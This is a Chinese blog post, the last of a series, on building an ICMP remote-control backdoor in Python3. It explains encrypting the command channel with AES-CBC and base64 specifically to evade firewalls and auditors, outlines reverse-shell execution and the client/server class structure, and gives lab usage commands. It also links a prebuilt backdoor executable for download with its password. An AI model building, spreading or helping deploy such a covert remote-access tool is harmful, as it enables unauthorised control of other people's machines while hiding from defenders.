Python3實現ICMP遠控後門(下)之“Boss”出場
ICMP後門
前言
第一篇:Python3實現ICMP遠控後門(上)
第二篇:Python3實現ICMP遠控後門(上)_補充篇
第三篇:Python3實現ICMP遠控後門(中)之“嗅探”黑科技
熬到最後一篇了,本系列的Boss要出場了,實現了一個有意思的ICMP後門,暫時使用pyinstaller打包成了一個win32和64版本,如下圖所示。
在前幾篇的基礎上,本篇擴展的知識點為數據的加密和解密,以及shell的調用,並最終生成一個可用的ICMP後門。本篇總共分為五節,需要花費5分鐘時間。
第一節 通信的加密與解密
ICMP遠控采用的是ICMP協議進行通信,為了確保通信的保密性,防止防火墻或者審計人員探測出控制信息,決定對ICMP數據域的內容進行加密處理。
本次采用的是AES加密與base64編碼相結合的方式。AES為最常見的對稱加密算法(微信小程序加密傳輸就是用這個加密算法的)。對稱加密算法也就是加密和解密用相同的密鑰,具體的加解密流程如下圖:
AES只是個基本算法,實現AES有若幹模式。其中的CBC模式因為其安全性而被TLS(就是https的加密標準)和IPSec(win采用的)作為技術標準。簡單地說,CBC使用密碼和salt(起擾亂作用)按固定算法(md5)產生key和iv。然後用key和iv(初始向量,加密第一塊明文)加密(明文)和解密(密文)。
下面介紹ICMP遠控的加密解密方案,對於AES加解密,這裏采用CBC模式,在Python3.5及之前版本使用pycrypto?模塊,之後版本使用pycrytodome模塊。
加密
先是使用AES加密,對於傳入的加密內容長度必須為16的倍數,不足則補為16的倍數,我這裏是設置的補為32的倍數。使用AES加密結束後,對加密後的內容進行base64編碼,以便傳輸。
解密
先是對加密後的內容進行base64解碼,接著在進行AES解密,最後去掉為了對齊填充的內容。
第二節 Shell調用
ICMP後門最基本的功能就是完成shell的調用,也就是經常說的反彈shell。反彈的shell即是受控端的shell,控制端通過ICMP協議將shell命令發送給受控端,受控端調用shell執行命令,並將命令結果通過ICMP協議回傳給控制端。Python中對shell的調用如下:
第三節 程序的整體結構
代碼中總共有三個類,父類Transfer,兩個子類client和server。Transfer類主要完成了socket初始化,加解密,icmp協議封包的通用功能。同時提供了一個reverse方法需要子類實現。
父類Transfer
子類client
子類server
第四節 使用方法
以我生成的icmpshell_win32.exe為例,為了方便演示,開啟了一個VM虛擬機,和主機組成局域網,VM虛擬機中運行的是win7 32位的系統,主機運行的是win7 64的系統。主機的ip為192.168.72.4,虛擬機的ip為192.168.72.133.
主機作為控制端,虛擬機作為受控端。首先在主機上運行如下命令(管理員權限運行):
icmpshell_win32.exe -s 192.168.72.4
其中 -s參數用於指明控制端的ip
在受控端運行如下命令(管理員權限運行):
icmpshell_win32.exe -l 192.168.72.133 -c 192.168.72.4
其中 -l參數用於指明受控端的ip,-c參數用於指明要連接的控制端的ip
受控端運行效果
控制端運行效果
執行dir命令和tasklist命令
whoami命令
icmpshell源代碼已經優先上傳到知識星球中,想看源代碼的朋友請關註我的知識星球。
如果大家只是想玩一下,給大家提供了icmpshell_win32.exe的下載鏈接。
https://pan.baidu.com/s/1xQRyxmq6PUw6qHMU9ZKZ4g 密碼:8rgu
最後
如果覺得本文還可以,一定記得推薦喲。歡迎關註我的公眾號,知識星球在菜單中。
回復【1】:領取 Python數據分析 教程大禮包
回復【2】:領取 Python Flask 全套教程
回復【3】:領取 機器學習 全套教程
Python3實現ICMP遠控後門(下)之“Boss”出場